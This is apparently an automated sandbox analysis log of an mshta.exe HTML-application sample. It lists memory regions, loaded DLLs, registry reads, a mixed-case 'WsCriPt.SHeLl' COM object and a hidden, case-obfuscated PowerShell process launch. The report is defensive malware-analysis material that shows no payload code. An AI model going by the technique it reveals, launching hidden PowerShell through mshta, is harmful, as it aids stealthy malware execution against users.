private_0x00000000030f0000	0x030f0000	0x031effff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003230000	0x03230000	0x0332ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003340000	0x03340000	0x0343ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000003440000	0x03440000	0x03832fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000003960000	0x03960000	0x03a5ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000003b20000	0x03b20000	0x03b9ffff	Private Memory	Readable, Writable	Region Actions Download Dump
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
normaliz.dll	0x779c0000	0x779c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
mshta.exe	0xff9d0000	0xff9dffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
vbscript.dll	0x7fee0420000	0x7fee04b9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
scrrun.dll	0x7fee06d0000	0x7fee0703fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mshtml.dll	0x7fee0880000	0x7fee1117fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wshom.ocx	0x7fee52a0000	0x7fee52c7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleacc.dll	0x7fef22f0000	0x7fef2343fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ieframe.dll	0x7fef2350000	0x7fef2f06fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msimtf.dll	0x7fef3140000	0x7fef314dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasman.dll	0x7fef3160000	0x7fef317bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasapi32.dll	0x7fef3180000	0x7fef31e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
npmproxy.dll	0x7fef3c70000	0x7fef3c7bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rasadhlp.dll	0x7fef46d0000	0x7fef46d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msls31.dll	0x7fef6080000	0x7fef60bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sensapi.dll	0x7fef6630000	0x7fef6638fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
netprofm.dll	0x7fef6660000	0x7fef66d3fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mpr.dll	0x7fef9730000	0x7fef9747fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rtutils.dll	0x7fefadc0000	0x7fefadd0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winrnr.dll	0x7fefaf90000	0x7fefaf9afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
pnrpnsp.dll	0x7fefafa0000	0x7fefafb8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
napinsp.dll	0x7fefafc0000	0x7fefafd4fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dwmapi.dll	0x7fefb180000	0x7fefb197fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
uxtheme.dll	0x7fefb560000	0x7fefb5b5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
winnsi.dll	0x7fefbdd0000	0x7fefbddafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
iphlpapi.dll	0x7fefbde0000	0x7fefbe06fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nlaapi.dll	0x7fefbf70000	0x7fefbf84fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
comctl32.dll	0x7fefc060000	0x7fefc253fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntmarta.dll	0x7fefc740000	0x7fefc76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wshtcpip.dll	0x7fefc9e0000	0x7fefc9e6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
dnsapi.dll	0x7fefce60000	0x7fefcebafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wship6.dll	0x7fefcfd0000	0x7fefcfd6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mswsock.dll	0x7fefcfe0000	0x7fefd034fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sspicli.dll	0x7fefd610000	0x7fefd634fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sxs.dll	0x7fefd650000	0x7fefd6e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrtremote.dll	0x7fefd730000	0x7fefd743fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msasn1.dll	0x7fefd7f0000	0x7fefd7fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
crypt32.dll	0x7fefd840000	0x7fefd9a6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
iertutil.dll	0x7fefdf60000	0x7fefe1b8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
urlmon.dll	0x7fefe3d0000	0x7fefe547fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ws2_32.dll	0x7fefe5f0000	0x7fefe63cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wldap32.dll	0x7fefe7f0000	0x7fefe841fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wininet.dll	0x7feff5e0000	0x7feff709fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
nsi.dll	0x7feff9c0000	0x7feff9c7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007fffffa6000	0x7fffffa6000	0x7fffffa7fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffa8000	0x7fffffa8000	0x7fffffa9fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffaa000	0x7fffffaa000	0x7fffffabfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffac000	0x7fffffac000	0x7fffffadfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffae000	0x7fffffae000	0x7fffffaffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd4000	0x7fffffd4000	0x7fffffd5fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd6000	0x7fffffd6000	0x7fffffd6fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd8000	0x7fffffd8000	0x7fffffd9fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffda000	0x7fffffda000	0x7fffffdbfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdc000	0x7fffffdc000	0x7fffffddfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffde000	0x7fffffde000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump
For performance reasons, the remaining 14 entries are omitted. The remaining entries can be found in flog.txt.

Host Behavior

COM (5)

Operation	Class	Interface	Additional Information	Count	Logfile
Create	3050F5C8-98B5-11CF-BB82-00AA00BDCE0B	00000000-0000-0000-C000-000000000046	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	50D5107A-D278-4871-8989-F4CEAAF59CFC	08C0E040-62D1-11D1-9326-0060B067B86E	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD	1	Fn
Create	B54F3741-5B07-11CF-A4B0-00AA004A55E8	BB1A2AE1-A4F9-11CF-8F20-00805F2CD064	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	6C736DB1-BD94-11D0-8A23-00AA00B58E10	6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	WsCriPt.SHeLl	IClassFactory	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER	1	Fn

File (4)

Operation	Filename	Additional Information	Count	Logfile
Open	STD_INPUT_HANDLE	-	1	Fn
Open	STD_OUTPUT_HANDLE	-	1	Fn
Open	STD_ERROR_HANDLE	-	1	Fn
Open Mapping	#MSHTML#PERF#00000370	desired_access = FILE_MAP_WRITE	1	Fn

Registry (103)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	8	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	8	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP	-	1	Fn
Read Value	HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32	data = C:\Windows\System32\mshtml.dll, type = REG_SZ	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	value_name = NoFileMenu, type = REG_NONE	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup	value_name = Print_Background	1	Fn

Process (1)

Operation	Process	Additional Information	Success	Count	Logfile
Create	C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe	show_window = SW_HIDE		1	Fn

Module (52)

Operation	Module	Additional Information	Count	Logfile
Load	C:\Windows\System32\mshtml.dll	base_address = 0x7fee0880000	1	Fn
Load	comctl32.dll	base_address = 0x7fefc060000	1	Fn
Load	OLEAUT32.dll	base_address = 0x7fefde70000	1	Fn
Load	OLEACC.DLL	base_address = 0x7fef22f0000	1	Fn
Load	ieframe.dll	base_address = 0x7fef2350000	2	Fn
Load	mshtml.dll	base_address = 0x7fee0880000	1	Fn
Load	ole32.dll	base_address = 0x7fefe1c0000	1	Fn
Load	shell32.dll	base_address = 0x7fefe850000	1	Fn
Load	oleaut32.dll	base_address = 0x7fefde70000	1	Fn
Load	WININET.dll	base_address = 0x7feff5e0000	1	Fn
Get Handle	c:\windows\system32\mshta.exe	base_address = 0xff9d0000	2	Fn
Get Handle	c:\windows\system32\kernel32.dll	base_address = 0x776e0000	3	Fn
Get Handle	c:\windows\system32\advapi32.dll	base_address = 0x7feff8e0000	1	Fn
Get Handle	EXPLORER.EXE	base_address = 0x0	1	Fn
Get Handle	IEXPLORE.EXE	base_address = 0x0	1	Fn
Get Handle	c:\windows\system32\ole32.dll	base_address = 0x7fefe1c0000	1	Fn
Get Handle	mscoree.dll	base_address = 0x0	1	Fn
Get Filename	-	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260	4	Fn
Get Filename	C:\Windows\System32\mshtml.dll	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshtml.dll, size = 260	1	Fn
Get Filename	c:\windows\system32\mshta.exe	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260	1	Fn
Get Filename	IEXPLORE.EXE	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 261	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = HeapSetInformation, address_out = 0x776fc4a0	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventWrite, address_out = 0x7782b510	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventRegister, address_out = 0x7783cac0	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventUnregister, address_out = 0x77823c80	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = RegisterApplicationRestart, address_out = 0x7775f510	1	Fn
Get Address	c:\windows\system32\mshtml.dll	function = RunHTMLApplication, address_out = 0x7fee0ad5b90	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = InitializeSRWLock, address_out = 0x778384f0	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = AcquireSRWLockExclusive, address_out = 0x77828020	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = AcquireSRWLockShared, address_out = 0x778254e0	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = ReleaseSRWLockExclusive, address_out = 0x77828050	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = ReleaseSRWLockShared, address_out = 0x778254b0	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 6, address_out = 0x7fefde71320	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 7, address_out = 0x7fefde71020	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 8, address_out = 0x7fefde713f0	1	Fn
Get Address	c:\windows\system32\oleacc.dll	function = LresultFromObject, address_out = 0x7fef22f3aa8	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CoCreateInstance, address_out = 0x7fefe1e7490	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 2, address_out = 0x7fefde73480	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CLSIDFromProgIDEx, address_out = 0x7fefe1da4c4	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CoGetClassObject, address_out = 0x7fefe1f2e18	1	Fn
Get Address	c:\windows\system32\shell32.dll	function = ShellExecuteExW, address_out = 0x7fefe877c70	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = VariantClear, address_out = 0x7fefde71180	1	Fn
Get Address	c:\windows\system32\wininet.dll	function = InternetUnlockRequestFile, address_out = 0x7feff5f70f4	1	Fn
Create Mapping	-	filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16	1	Fn
Map	-	process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE	1	Fn

Window (7)

Operation	Window Name	Additional Information	Count	Logfile
Create	-	class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248	1	Fn
Create	-	class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248	1	Fn
Create	-	wndproc_parameter = 0	1	Fn
Create	-	wndproc_parameter = 2676624	1	Fn
Set Attribute	-	class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352	2	Fn
Set Attribute	-	class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144	1	Fn

Keyboard (140)

Operation	Additional Information	Count	Logfile
Get Info	type = KB_LOCALE_ID	2	Fn
Read	virtual_key_code = VK_SHIFT, result_out = 0	23	Fn
Read	virtual_key_code = VK_CONTROL, result_out = 0	23	Fn
Read	virtual_key_code = VK_MENU, result_out = 0	23	Fn
Read	virtual_key_code = VK_LSHIFT, result_out = 0	13	Fn
Read	virtual_key_code = VK_LCONTROL, result_out = 0	13	Fn
Read	virtual_key_code = VK_LMENU, result_out = 0	13	Fn
Read	virtual_key_code = VK_LBUTTON, result_out = 0	5	Fn
Read	virtual_key_code = VK_RBUTTON, result_out = 0	10	Fn
Read	virtual_key_code = VK_MBUTTON, result_out = 0	10	Fn
Read	virtual_key_code = VK_LBUTTON, result_out = 1	5	Fn

System (244)

Operation	Additional Information	Count	Logfile
Get Cursor	x_out = 724, y_out = 422	3	Fn
Get Cursor	x_out = 687, y_out = 514	2	Fn
Get Cursor	x_out = 631, y_out = 286	8	Fn
Sleep	duration = 100 milliseconds (0.100 seconds)	4	Fn
Sleep	duration = 0 milliseconds (0.000 seconds)	2	Fn
Sleep	duration = -1 (infinite)	9	Fn
Get Time	type = System Time, time = 2017-10-24 17:38:03 (UTC)	2	Fn
Get Time	type = Ticks, time = 131290	1	Fn
Get Time	type = Ticks, time = 131415	1	Fn
Get Time	type = Ticks, time = 131992	121	Fn
Get Time	type = Ticks, time = 132008	66	Fn
Get Time	type = Ticks, time = 132117	3	Fn
Get Time	type = System Time, time = 2017-10-24 17:38:04 (UTC)	2	Fn
Get Time	type = Ticks, time = 132148	1	Fn
Get Time	type = Ticks, time = 147670	1	Fn
Get Time	type = Ticks, time = 147686	2	Fn
Get Time	type = Ticks, time = 147701	1	Fn
Get Time	type = Ticks, time = 147764	2	Fn
Get Info	type = Operating System	7	Fn
Get Info	type = Operating System	2	Fn
Get Info	type = Windows Directory, result_out = C:\Windows	1	Fn
Get Info	-	3	Fn

Mutex (1)

Operation	Additional Information	Success	Count	Logfile
Create	mutex_name = Local\!PrivacIE!SharedMemory!Mutex		1	Fn

Environment (1)

Operation	Additional Information	Success	Count	Logfile
Get Environment String	-		1	Fn Data

Ini (5)

